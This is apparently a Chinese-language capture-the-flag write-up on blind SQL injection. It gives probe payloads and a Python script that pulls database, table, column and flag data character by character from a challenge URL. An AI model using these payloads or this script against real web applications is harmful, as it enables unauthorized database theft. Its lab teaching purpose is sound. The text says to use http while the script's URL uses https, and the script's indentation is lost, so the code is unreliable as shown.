首先确定注入点,输入以下payload使SQL恒成立
?id=-1/**/or/**/true
再输入一下payload 使SQL恒不成立
?id=-1/**/or/**/false
由于SQL恒不成立, 数据库查询不到任何数据, 从而导致页面空显示
由以上返回结果可知,该页面存在SQL注入,注入点为数值型注入
接下来进行脱库,由于盲注脱库比较复杂,此处我们构造Python脚本进行自动化脱库,注意:
1、payload中的字符串不要换行,否则可能会出问题
2、URL 是 http 不是 https
import requests
url = 'https://0545c53a-d78b-43e2-ac58-006a840d7964.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''
# 循环60次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 60):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()